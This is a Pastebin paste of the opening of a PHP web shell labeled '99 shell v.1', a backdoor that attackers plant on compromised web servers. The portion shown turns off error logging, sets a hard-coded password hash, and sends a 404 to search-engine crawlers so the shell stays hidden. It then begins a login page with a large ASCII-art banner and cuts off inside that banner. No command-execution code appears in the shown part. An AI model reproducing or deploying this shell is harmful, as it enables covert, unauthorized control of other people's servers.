API tools faq
paste
ThiefFall

99

ThiefFall
Feb 23rd, 2017
207
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 199.24 KB | None | 0 0
raw download clone embed print report
  1. <?php
  2. //====================================================||
  3. //+++++++++++++++++[ 99 shell v.1 ]++++++++++++++++++ ||
  4. //            Recode By : ./s3cre3t                   ||
  5. //    Jangan Hapus Buat Mengahargai Kerja Keras!!     ||
  6. //             Thanks : IndoXploit                    ||
  7. //====================================================||
  8. session_start();
  9. error_reporting(0);
  10. set_time_limit(0);
  11. @set_magic_quotes_runtime(0);
  12. @clearstatcache();
  13. @ini_set('error_log',NULL);
  14. @ini_set('log_errors',0);
  15. @ini_set('max_execution_time',0);
  16. @ini_set('output_buffering',0);
  17. @ini_set('display_errors', 0);
  18.  
  19. $auth_pass = "ac627ab1ccbdb62ec96e702f07f6425b"; // default: 99
  20. $color = "#00ff00";
  21. $default_action = 'FilesMan';
  22. $default_use_ajax = true;
  23. $default_charset = 'UTF-8';
  24. if(!empty($_SERVER['HTTP_USER_AGENT'])) {
  25.     $userAgents = array("Googlebot", "Slurp", "MSNBot", "PycURL", "facebookexternalhit", "ia_archiver", "crawler", "Yandex", "Rambler", "Yahoo! Slurp", "YahooSeeker", "bingbot");
  26.     if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
  27.         header('HTTP/1.0 404 Not Found');
  28.         exit;
  29.     }
  30. }
  31.  
  32. function login_shell() {
  33. ?>
  34. <html>
  35. <head>
  36. <title>99Syndicate Shell v.1</title>
  37. <style type="text/css">
  38. html {
  39.     margin: 20px auto;
  40.     background: black;
  41.     color: green;
  42.     text-align: center;
  43. }
  44. header {
  45.     color: green;
  46.     margin: 10px auto;
  47. }
  48. input[type=password] {
  49.     width: 250px;
  50.     height: 25px;
  51.     color: red;
  52.     background: #000000;
  53.     border: 1px dotted green;
  54.     padding: 5px;
  55.     margin-left: 20px;
  56.     text-align: center;
  57. }
  58. input[type=submit] {
  59.     background: black;
  60.     height: 25px;  
  61.     color: green;
  62.     border: 1px dotted green;
  63.     margin: 5px auto;
  64.     padding-left : 5px;
  65.     font-family: 'Ubuntu';
  66.     font-size: 13px;
  67. }
  68. a:hover {
  69.     color: lime;
  70.     text-decoration: underline;
  71. }
  72. a {
  73.     color: lime;
  74.     text-decoration: none;
  75. }
  76. </style>
  77. </head>
  78. <body bgcolor="black">
  79. <center>
  80. <header>
  81.     <pre>
  82. <center><br>
  83. <pre id='AsciiImage' style='letter-spacing: 0px; font-family: Courier New, Courier, monospace; color: Black; background-color: transparent; font-size: 6px; line-height: 4px'><font color='#000000'>HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH</font>
  84. <font color='#000000'>HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH</font>
  85. <font color='#000000'>HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH</font>
  86. <font color='#000000'>HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH</font>
  87. <font color='#000000'>HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH</font>
  88. <font color='#000000'>HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH</font><font color='#070605'>M</font><font color='#080B10'>W</font><font color='#080C12'>W</font><font color='#090B0E'>W</font><font color='#060502'>M</font><font color='#000000'>HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH</font>
  89. <font color='#000000'>HHHHHHHHHHHHHHHHHHHHHHHHHHHH</font><font color='#040403'>H</font><font color='#142542'>K</font><font color='#234A8D'>D</font><font color='#2861C2'>Z</font><font color='#3373E2'>9</font><font color='#357AEE'>h</font><font color='#3379F1'>x</font><font color='#3077EE'>x</font><font color='#286ADA'>G</font><font color='#1F55B1'>w</font><font color='#1E4586'>d</font><font color='#122647'>K</font><font color='#06080B'>M</font><font color='#000000'>HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH</font><font color='#050907'>M</font><font color='#0D482E'>XX</font><font color='#0D462D'>p</font><font color='#0C452C'>p</font><font color='#0D4F32'>d</font><font color='#0D3222'>m</font><font color='#000000'>HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH</font>
  90. <font color='#000000'>HHHHHHHHHHHHHHHHHHHHHHHHHH</font><font color='#020100'>H</font><font color='#1B335E'>F</font><font color='#316ED4'>6</font><font color='#3986FF'>V</font><font color='#3273E4'>9</font><font color='#2552A1'>y</font><font color='#1B3B72'>p</font><font color='#1C396A'>p</font><font color='#1A396D'>p</font><font color='#1C4488'>d</font><font color='#265FC1'>g</font><font color='#2B79FF'>x</font><font color='#2881FF'>h</font><font color='#2678FF'>x</font><font color='#2466D5'>P</font><font color='#1A3F7C'>X</font><font color='#090D13'>E</font><font color='#000000'>HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH</font><font color='#050907'>M</font><font color='#14784D'>P</font><font color='#11BC71'>4</font><font color='#0CB26A'>S</font><font color='#0CB169'>S</font><font color='#0CB56C'>S</font><font color='#14A364'>U</font><font color='#0A2519'>Q</font><font color='#000000'>HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH</font>
  91. <font color='#000000'>HHHHHHHHHHHHHHHHHHHHHHHHH</font><font color='#0E1726'>B</font><font color='#2E62BA'>Z</font><font color='#3B8BFF'>U</font><font color='#316FD9'>6</font><font color='#172C51'>R</font><font color='#050607'>M</font><font color='#000000'>HHHHH</font><font color='#020000'>H</font><font color='#0D182B'>B</font><font color='#1F4C9A'>D</font><font color='#2576FD'>9</font><font color='#2176FF'>9</font><font color='#2377FF'>9</font><font color='#2368DE'>P</font><font color='#153262'>F</font><font color='#020202'>H</font><font color='#000000'>HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH</font><font color='#030806'>M</font><font color='#062718'>Q</font><font color='#0C3422'>R</font><font color='#0AA461'>V</font><font color='#06A55F'>V</font><font color='#08AF66'>T</font><font color='#0B4029'>q</font><font color='#000000'>HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH</font>
  92. <font color='#000000'>HHHHHHHHHHHHHHHHHHHHHHHH</font><font color='#162540'>K</font><font color='#3778E7'>x</font><font color='#3B8CFF'>U</font><font color='#2954A0'>w</font><font color='#07080B'>M</font><font color='#000000'>HHHHHHHHH</font><font color='#010000'>H</font><font color='#152E57'>R</font><font color='#236DE8'>G</font><font color='#206FF6'>6</font><font color='#237AFF'>x</font><font color='#1C478D'>b</font><font color='#020202'>H</font><font color='#000000'>HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH</font><font color='#07120E'>E</font><font color='#0BA261'>V</font><font color='#04A55F'>V</font><font color='#08AC64'>U</font><font color='#03301C'>K</font><font color='#000000'>HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH</font>
  93. <font color='#000000'>HHHHHHHHHHHHHHHHHHHHHHH</font><font color='#142138'>Q</font><font color='#3A7CEF'>h</font><font color='#3A89FF'>U</font><font color='#2B57A5'>k</font><font color='#040200'>H</font><font color='#000000'>HHHHHHHHHHHH</font><font color='#152E58'>R</font><font color='#277FFF'>h</font><font color='#1D4892'>b</font><font color='#020100'>H</font><font color='#000000'>HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH</font><font color='#081912'>B</font><font color='#09A15F'>V</font><font color='#03A45E'>V</font><font color='#06AB62'>U</font><font color='#04331E'>m</font><font color='#000000'>HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH</font>
  94. <font color='#000000'>HHHHHHHHHHHHHHHHHHHHHH</font><font color='#080D16'>E</font><font color='#3572DC'>9</font><font color='#3987FF'>V</font><font color='#326FDA'>6</font><font color='#070A0E'>W</font><font color='#000000'>HHHHHHHHHHHHH</font><font color='#142849'>m</font><font color='#2357AC'>w</font><font color='#030202'>H</font><font color='#000000'>HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH</font><font color='#081912'>B</font><font color='#08A05E'>f</font><font color='#02A25D'>f</font><font color='#05AA63'>U</font><font color='#03331E'>m</font><font color='#000000'>HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH</font>
  95. <font color='#000000'>HHHHHHHHHHHHHHHHHHHHH</font><font color='#010000'>H</font><font color='#29539E'>w</font><font color='#3986FF'>V</font><font color='#3882FF'>f</font><font color='#1B335D'>F</font><font color='#000000'>HHHHHHHHHHHHHH</font><font color='#0A101A'>E</font><font color='#05080C'>M</font><font color='#000000'>HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH</font><font color='#081911'>B</font><font color='#079F5D'>f</font><font color='#01A25C'>f</font><font color='#04A961'>U</font><font color='#03331E'>m</font><font color='#000000'>HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH</font>
  96. <font color='#000000'>HHHHHHHHHHHHHHHHHHHHH</font><font color='#121E35'>Q</font><font color='#3980FC'>f</font><font color='#347FFF'>f</font><font color='#316EDA'>6</font><font color='#060608'>M</font><font color='#000000'>HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH</font><font color='#081911'>B</font><font color='#069F5C'>f</font><font color='#00A15B'>f</font><font color='#02A960'>U</font><font color='#03321E'>m</font><font color='#000000'>HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH</font>
  97. <font color='#000000'>HHHHHHHHHHHHHHHHHHHHH</font><font color='#27529E'>y</font><font color='#3583FF'>f</font><font color='#3581FF'>f</font><font color='#244D93'>D</font><font color='#000000'>HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH</font><font color='#081911'>B</font><font color='#059D5C'>f</font><font color='#00A05A'>f</font><font color='#02A760'>V</font><font color='#03321E'>m</font><font color='#000000'>HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH</font>
  98. <font color='#000000'>HHHHHHHHHHHHHHHHHHHH</font><font color='#080C12'>W</font><font color='#3274E6'>9</font><font color='#317CFE'>h</font><font color='#3581FF'>f</font><font color='#172D54'>R</font><font color='#000000'>HHHHHHHHHHHHHHHHHHHHHHHHHHHH</font><font color='#2E1512'>A</font><font color='#682E26'>X</font><font color='#81372D'>b</font><font color='#7F342A'>b</font><font color='#5F2B23'>q</font><font color='#291411'>B</font><font color='#000102'>H</font><font color='#000000'>HHHHHHHHHHH</font><font color='#0E0D08'>E</font><font color='#514513'>b</font><font color='#85721F'>x</font><font color='#9F821B'>U</font><font color='#90771C'>h</font><font color='#625317'>w</font><font color='#27210C'>Q</font><font color='#000001'>H</font><font color='#000000'>HHHHHHHHHH</font><font color='#0E1A2F'>A</font><font color='#1E3B6D'>p</font><font color='#244B8D'>D</font><font color='#1E468D'>b</font><font color='#1D4386'>d</font><font color='#1C4386'>d</font><font color='#1B4287'>d</font><font color='#1A458E'>d</font><font color='#1A4894'>b</font><font color='#1C458A'>d</font><font color='#090E17'>E</font><font color='#000000'>H</font><font color='#081811'>N</font><font color='#059D5B'>f</font><font color='#009F5A'>f</font><font color='#02A760'>V</font><font color='#03321E'>m</font><font color='#000000'>HHHHHHH</font><font color='#27120F'>B</font><font color='#682E27'>X</font><font color='#82362C'>b</font><font color='#78332A'>d</font><font color='#552620'>F</font><font color='#1D0F0D'>N</font><font color='#000000'>HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH</font>
  99. <font color='#000000'>HHHHHHHHHHHHHHHHHHHH</font><font color='#152849'>m</font><font color='#3480FF'>f</font><font color='#2E79FB'>x</font><font color='#347EFD'>h</font><font color='#132137'>Q</font><font color='#000000'>HHHHHHHHHHHHHHHHHHHHHHHHHH</font><font color='#411E19'>K</font><font color='#B54A3D'>P</font><font color='#C25041'>G</font><font color='#953E32'>w</font><font color='#89382D'>D</font><font color='#B4493A'>P</font><font color='#F05C47'>f</font><font color='#E45642'>x</font><font color='#A84234'>g</font><font color='#381914'>Q</font><font color='#000000'>HHHHHHHH</font><font color='#070605'>M</font><font color='#806F1D'>9</font><font color='#E1C02B'>n</font><font color='#CFAF28'>L</font><font color='#A2871C'>T</font><font color='#A6881C'>T</font><font color='#E9BF23'>n</font><font color='#FFE621'>o</font><font color='#FACD1F'>z</font><font color='#A5891A'>T</font><font color='#221D0B'>Q</font><font color='#000000'>HHHHHHH</font><font color='#0E1728'>B</font><font color='#2E60B4'>Z</font><font color='#3673DA'>9</font><font color='#2D60BC'>Z</font><font color='#2E66C8'>P</font><font color='#347EFF'>f</font><font color='#3284FF'>f</font><font color='#2F7EFF'>h</font><font color='#2E7EFF'>h</font><font color='#2B71E6'>6</font><font color='#2B72E8'>6</font><font color='#1B3B72'>p</font><font color='#020204'>H</font><font color='#000000'>H</font><font color='#081911'>B</font><font color='#059C5B'>h</font><font color='#009E59'>h</font><font color='#02A65E'>V</font><font color='#03321D'>m</font><font color='#000000'>HHHHH</font><font color='#190E0C'>E</font><font color='#9F4236'>k</font><font color='#D45746'>x</font><font color='#B44B3D'>P</font><font color='#AA4538'>g</font><font color='#D45543'>9</font><font color='#F85D48'>V</font><font color='#D9533F'>9</font><font color='#7E3329'>d</font><font color='#070404'>M</font><font color='#000000'>HHHHHHHHHHHHHHHHHHHHHHHHHHHHH</font>
  100. <font color='#000000'>HHHHHHHHHHHHHHHHHHHH</font><font color='#1E3D75'>X</font><font color='#3381FF'>f</font><font color='#2E79FC'>x</font><font color='#2E73EE'>9</font><font color='#09111E'>E</font><font color='#000000'>HHHHHHHHHHHHHHHHHHHHHHHH</font><font color='#000101'>H</font><font color='#78322A'>d</font><font color='#EF5D4B'>f</font><font color='#82362C'>b</font><font color='#100908'>W</font><font color='#000000'>HH</font><font color='#000001'>H</font><font color='#3F1C17'>K</font><font color='#CE4C39'>G</font><font color='#F4563E'>h</font><font color='#DB503B'>9</font><font color='#5D261D'>F</font><font color='#000000'>HHHHHH</font><font color='#1E1B0C'>A</font><font color='#C8AD27'>O</font><font color='#F6D22A'>J</font><font color='#5B4C14'>y</font><font color='#000004'>H</font><font color='#000000'>HH</font><font color='#090906'>W</font><font color='#7C6615'>G</font><font color='#FFD21A'>J</font><font color='#FFDC16'>v</font><font color='#EABF19'>n</font><font color='#403510'>q</font><font color='#000000'>HHHHH</font><font color='#12213D'>Q</font><font color='#3B7FEC'>f</font><font color='#326BCE'>G</font><font color='#0A101B'>E</font><font color='#000000'>H</font><font color='#010000'>H</font><font color='#0F1B2E'>A</font><font color='#2C68CE'>P</font><font color='#2C7AFF'>x</font><font color='#2B79FE'>x</font><font color='#244D95'>D</font><font color='#060503'>M</font><font color='#000000'>HHH</font><font color='#081811'>N</font><font color='#059B5A'>h</font><font color='#009E58'>h</font><font color='#02A65E'>V</font><font color='#03311D'>m</font><font color='#000000'>HHHH</font><font color='#321713'>A</font><font color='#DA5645'>x</font><font color='#BA4A3C'>P</font><font color='#271310'>B</font><font color='#000000'>HH</font><font color='#0F0908'>W</font><font color='#84362B'>b</font><font color='#EB543E'>x</font><font color='#F0553F'>h</font><font color='#9A3B2D'>y</font><font color='#040303'>H</font><font color='#000000'>HHHHHHHHHHHHHHHHHHHHHHHHHHHH</font>
  101. <font color='#000000'>HHHHHHHHHHHHHHHHHHHH</font><font color='#224B94'>D</font><font color='#3180FF'>f</font><font color='#2E79FB'>x</font><font color='#2C73EE'>9</font><font color='#040D1B'>W</font><font color='#000000'>HHHHHHHHHHHHHHHHHHHHHHHH</font><font color='#793128'>d</font><font color='#FF604C'>U</font><font color='#783229'>d</font><font color='#000000'>HHHHHH</font><font color='#321612'>A</font><font color='#D74D38'>6</font><font color='#E34C36'>6</font><font color='#E74F39'>9</font><font color='#512019'>R</font><font color='#000000'>HHHH</font><font color='#16140A'>N</font><font color='#D4B62A'>e</font><font color='#FFDE29'>t</font><font color='#382F0E'>F</font><font color='#000000'>HHHHHH</font><font color='#7E6713'>G</font><font color='#FFD413'>3</font><font color='#FFD10F'>J</font><font color='#F0C317'>C</font><font color='#29220B'>K</font><font color='#000000'>HHH</font><font color='#090F18'>E</font><font color='#3675E3'>x</font><font color='#3A82FC'>f</font><font color='#0E1625'>B</font><font color='#000000'>HHHH</font><font color='#0D1625'>B</font><font color='#2D73EB'>9</font><font color='#2977FC'>x</font><font color='#2B7BFE'>x</font><font color='#152E58'>R</font><font color='#000000'>HHH</font><font color='#081811'>N</font><font color='#059B5A'>h</font><font color='#009D58'>h</font><font color='#02A55E'>V</font><font color='#03311D'>m</font><font color='#000000'>HHH</font><font color='#1E0E0C'>N</font><font color='#DB5443'>9</font><font color='#D55241'>9</font><font color='#0D0706'>M</font><font color='#000000'>HHHH</font><font color='#000203'>H</font><font color='#A53E30'>k</font><font color='#E54E38'>9</font><font color='#EB513A'>x</font><font color='#60271E'>q</font><font color='#000000'>HHHHHHHHHHHHHHHHHHHHHHHHHHHH</font>
  102. <font color='#000000'>HHHHHHHHHHHHHHHHHHHH</font><font color='#2856A3'>w</font><font color='#2F7EFF'>h</font><font color='#2C77F8'>x</font><font color='#2E77F6'>x</font><font color='#0C1627'>B</font><font color='#000000'>HHHHHHHHHHHHHHHHHHHHHHH</font><font color='#451E19'>m</font><font color='#F15844'>h</font><font color='#CC4C3C'>G</font><font color='#0A0606'>M</font><font color='#000000'>HHHHHHH</font><font color='#722C22'>X</font><font color='#E64C35'>6</font><font color='#DF4833'>G</font><font color='#CD4734'>P</font><font color='#190C0B'>E</font><font color='#000000'>HH</font><font color='#000002'>H</font><font color='#A68A1F'>T</font><font color='#FFEF26'>j</font><font color='#9E811B'>U</font><font color='#000000'>HHHHHHH</font><font color='#050505'>M</font><font color='#D5AA13'>O</font><font color='#FFCE0C'>z</font><font color='#FFD40D'>3</font><font color='#C09713'>0</font><font color='#010104'>H</font><font color='#000000'>HH</font><font color='#244885'>b</font><font color='#3D8DFF'>U</font><font color='#3066C6'>P</font><font color='#010000'>H</font><font color='#000000'>HHHHH</font><font color='#1E407C'>X</font><font color='#2C7CFF'>h</font><font color='#2777FE'>x</font><font color='#2868D6'>P</font><font color='#06080C'>M</font><font color='#000000'>HH</font><font color='#081811'>N</font><font color='#059A59'>h</font><font color='#009D58'>h</font><font color='#02A45D'>V</font><font color='#03311D'>m</font><font color='#000000'>HH</font><font color='#000101'>H</font><font color='#9A3C30'>w</font><font color='#FF5D48'>V</font><font color='#692B23'>p</font><font color='#000000'>HHHHHH</font><font color='#5D2820'>q</font><font color='#EC4F39'>9</font><font color='#EE4C35'>9</font><font color='#C44633'>P</font><font color='#070404'>M</font><font color='#000000'>HHHHHHHHHHHHHHHHHHHHHHHHHHH</font>
  103. <font color='#000000'>HHHHHHHHHHHHHHHHHHHH</font><font color='#214D97'>D</font><font color='#2D7DFF'>h</font><font color='#2A75F7'>9</font><font color='#307BFD'>h</font><font color='#13223D'>Q</font><font color='#000000'>HHHHHHHHHHHHHHHHHHHHHH</font><font color='#070504'>M</font><font color='#BB4536'>Z</font><font color='#FC5741'>f</font><font color='#953A2E'>y</font><font color='#000000'>HHHHHHHH</font><font color='#180C0A'>E</font><font color='#CE4531'>P</font><font color='#DA452F'>P</font><font color='#E84932'>6</font><font color='#762C21'>X</font><font color='#000000'>HH</font><font color='#3F350F'>q</font><font color='#FFD821'>v</font><font color='#FFDB21'>v</font><font color='#534511'>b</font><font color='#000000'>HHHHHHHH</font><font color='#65520D'>w</font><font color='#FFD30C'>J</font><font color='#FFC409'>2</font><font color='#FFD00F'>J</font><font color='#45380D'>p</font><font color='#000000'>H</font><font color='#050609'>M</font><font color='#346FD9'>6</font><font color='#3987FF'>V</font><font color='#2E5FB2'>Z</font><font color='#000000'>HHHHHH</font><font color='#0C1320'>N</font><font color='#2C74F0'>9</font><font color='#2673F9'>9</font><font color='#2979FF'>x</font><font color='#102240'>Q</font><font color='#000000'>HH</font><font color='#081811'>N</font><font color='#059959'>h</font><font color='#009C58'>h</font><font color='#02A35D'>V</font><font color='#03311D'>m</font><font color='#000000'>HH</font><font color='#2A1310'>B</font><font color='#E5513E'>9</font><font color='#EB5440'>x</font><font color='#371916'>Q</font><font color='#000000'>HHHH</font><font color='#000001'>H</font><font color='#311411'>A</font><font color='#B3402F'>g</font><font color='#E84D36'>9</font><font color='#A53B2B'>w</font><font color='#4D1E18'>m</font><font color='#040202'>H</font><font color='#000000'>HHHHHHHHHHHHHHHHHHHHHHHHHHH</font>
  104. <font color='#000000'>HHHHHHHHHHHHHHHHHHHH</font><font color='#1C3F7C'>X</font><font color='#2E7EFF'>h</font><font color='#2874F5'>9</font><font color='#2D7DFF'>h</font><font color='#173260'>F</font><font color='#000000'>HHHHHHHHHHHHHHHHHHHHHH</font><font color='#3F1A15'>K</font><font color='#E9503C'>9</font><font color='#EF513C'>x</font><font color='#6F281F'>p</font><font color='#000000'>HHHHHHHHH</font><font color='#963526'>D</font><font color='#E3462F'>G</font><font color='#DD432D'>P</font><font color='#B93E2D'>g</font><font color='#070505'>M</font><font color='#000000'>H</font><font color='#A2861A'>U</font><font color='#FFDD1A'>v</font><font color='#FFD41E'>3</font><font color='#3D3511'>q</font><font color='#000000'>HHHHHHHH</font><font color='#171408'>N</font><font color='#EFBB0D'>n</font><font color='#FFC707'>2</font><font color='#FFD208'>J</font><font color='#9F7D10'>V</font><font color='#000000'>H</font><font color='#101A2C'>A</font><font color='#387DF9'>h</font><font color='#3582FF'>f</font><font color='#2F62BA'>Z</font><font color='#010000'>H</font><font color='#000000'>HHHHH</font><font color='#020100'>H</font><font color='#245CBC'>g</font><font color='#2777FF'>x</font><font color='#287AFF'>x</font><font color='#193666'>q</font><font color='#000000'>HH</font><font color='#081811'>N</font><font color='#059959'>h</font><font color='#009B57'>h</font><font color='#02A35C'>V</font><font color='#03311D'>m</font><font color='#000000'>HH</font><font color='#692820'>q</font><font color='#F0513C'>x</font><font color='#E3503C'>9</font><font color='#2F1613'>A</font><font color='#000000'>HH</font><font color='#030404'>H</font><font color='#4B1E18'>m</font><font color='#AA3D2E'>k</font><font color='#D34A37'>G</font><font color='#963528'>D</font><font color='#351712'>Q</font><font color='#000203'>H</font><font color='#000000'>HHHHHHHHHHHHHHHHHHHHHHHHHHHHH</font>
  105. <font color='#000000'>HHHHHHHHHHHHHHHHHHHH</font><font color='#193461'>q</font><font color='#2C7DFF'>h</font><font color='#2773F3'>9</font><font color='#297BFF'>x</font><font color='#214E9A'>D</font><font color='#000000'>HHHHHHHHHHHH</font><font color='#090E17'>E</font><font color='#12233B'>Q</font><font color='#11213A'>Q</font><font color='#112139'>Q</font><font color='#112039'>QQ</font><font color='#112038'>Q</font><font color='#122542'>K</font><font color='#0D1522'>N</font><font color='#000000'>H</font><font color='#803127'>d</font><font color='#EE4E39'>9</font><font color='#EC4E39'>9</font><font color='#63221A'>F</font><font color='#000000'>HHHHHHHHH</font><font color='#592119'>R</font><font color='#E34630'>G</font><font color='#D6402B'>Z</font><font color='#D44330'>P</font><font color='#220D0C'>N</font><font color='#010302'>H</font><font color='#DEB218'>5</font><font color='#FFD314'>3</font><font color='#FFD019'>J</font><font color='#39310F'>F</font><font color='#000000'>HHHHHHHH</font><font color='#000003'>H</font><font color='#BC940E'>4</font><font color='#FFCD04'>z</font><font color='#FFCA04'>z</font><font color='#D3A30C'>Y</font><font color='#010000'>H</font><font color='#13223C'>Q</font><font color='#3A82FF'>V</font><font color='#327DFF'>h</font><font color='#2F6BD5'>G</font><font color='#050505'>M</font><font color='#000000'>HHHHHH</font><font color='#1F4A92'>b</font><font color='#277AFF'>x</font><font color='#2779FF'>x</font><font color='#152F5B'>R</font><font color='#000000'>HH</font><font color='#081811'>N</font><font color='#059858'>h</font><font color='#009A56'>h</font><font color='#02A25C'>f</font><font color='#03311D'>m</font><font color='#000000'>H</font><font color='#000001'>H</font><font color='#923528'>D</font><font color='#EC4C37'>9</font><font color='#E34E3A'>9</font><font color='#291613'>A</font><font color='#0E0807'>W</font><font color='#69291F'>p</font><font color='#C34534'>P</font><font color='#CC4836'>P</font><font color='#802F24'>d</font><font color='#200F0D'>N</font><font color='#000000'>HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH</font>
  106. <font color='#000000'>HHHHHHHHHHHHHHHHHHHH</font><font color='#0D1A2F'>A</font><font color='#2B76F7'>9</font><font color='#2673F6'>9</font><font color='#2675FC'>9</font><font color='#2869DB'>P</font><font color='#06080B'>M</font><font color='#000000'>HHHHHHHHHH</font><font color='#0E1A2D'>A</font><font color='#256CDE'>G</font><font color='#267EFF'>h</font><font color='#257AFF'>x</font><font color='#2377FF'>9</font><font color='#2071F5'>66</font><font color='#2074FF'>9</font><font color='#2268D5'>P</font><font color='#0C1727'>B</font><font color='#000000'>H</font><font color='#9A3629'>D</font><font color='#E94B35'>6</font><font color='#EC4C37'>9</font><font color='#782B20'>X</font><font color='#000000'>HHHHHHHHH</font><font color='#361713'>Q</font><font color='#DD4530'>G</font><font color='#D43E29'>Z</font><font color='#DD422D'>P</font><font color='#360F10'>B</font><font color='#131909'>B</font><font color='#F6C618'>2</font><font color='#FFCD0F'>z</font><font color='#FFD317'>3</font><font color='#43390F'>p</font><font color='#000000'>HHHHHHHH</font><font color='#000001'>H</font><font color='#876B0A'>6</font><font color='#FFD004'>J</font><font color='#FFC501'>2</font><font color='#EAB70F'>u</font><font color='#100B00'>W</font><font color='#061023'>E</font><font color='#347AF5'>h</font><font color='#307BFE'>h</font><font color='#347CF9'>h</font><font color='#101C31'>A</font><font color='#000000'>HHHHHH</font><font color='#224786'>b</font><font color='#277BFF'>x</font><font color='#2775FA'>9</font><font color='#0D1A30'>A</font><font color='#000000'>HH</font><font color='#081811'>N</font><font color='#059758'>x</font><font color='#009A57'>h</font><font color='#02A15C'>f</font><font color='#03301D'>K</font><font color='#000000'>H</font><font color='#000102'>H</font><font color='#AC4031'>k</font><font color='#E74933'>6</font><font color='#DC4733'>G</font><font color='#A63D2F'>w</font><font color='#C44533'>P</font><font color='#BD4332'>Z</font><font color='#61251D'>F</font><font color='#0E0807'>W</font><font color='#000000'>HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH</font>
  107. <font color='#000000'>HHHHHHHHHHHHHHHHHHHH</font><font color='#050405'>H</font><font color='#2665CE'>P</font><font color='#2676FD'>9</font><font color='#2471F3'>6</font><font color='#297AFF'>x</font><font color='#152E56'>R</font><font color='#000000'>HHHHHHHHHH</font><font color='#121F33'>Q</font><font color='#18325B'>F</font><font color='#162C51'>R</font><font color='#162B4E'>m</font><font color='#1C417D'>X</font><font color='#1C6FF7'>G</font><font color='#186AF1'>P</font><font color='#1C6EF6'>G</font><font color='#0F213F'>Q</font><font color='#000000'>HH</font><font color='#9E3223'>D</font><font color='#E74933'>6</font><font color='#E94A34'>6</font><font color='#97382A'>y</font><font color='#000000'>HHHHHHHHH</font><font color='#190A08'>E</font><font color='#CC3F2A'>Z</font><font color='#D73F2A'>Z</font><font color='#DF422D'>P</font><font color='#3A1012'>A</font><font color='#1D210A'>Q</font><font color='#FCCB16'>z</font><font color='#FFCA0B'>z</font><font color='#FFD510'>3</font><font color='#5A4A0C'>D</font><font color='#000000'>HHHHHHHHH</font><font color='#66530D'>w</font><font color='#FFD005'>J</font><font color='#FFC400'>C</font><font color='#EDB90D'>u</font><font color='#151205'>N</font><font color='#000003'>H</font><font color='#2D67CA'>P</font><font color='#307DFF'>h</font><font color='#317FFF'>f</font><font color='#214788'>b</font><font color='#000000'>HHHHHH</font><font color='#1F4A95'>b</font><font color='#2881FF'>h</font><font color='#225AB8'>k</font><font color='#020202'>H</font><font color='#000000'>HH</font><font color='#081811'>N</font><font color='#059657'>x</font><font color='#009955'>h</font><font color='#02A05B'>f</font><font color='#03301D'>K</font><font color='#000000'>H</font><font color='#000102'>H</font><font color='#AA3E30'>k</font><font color='#E64832'>6</font><font color='#E24732'>G</font><font color='#BC3F2E'>g</font><font color='#431A15'>K</font><font color='#000303'>H</font><font 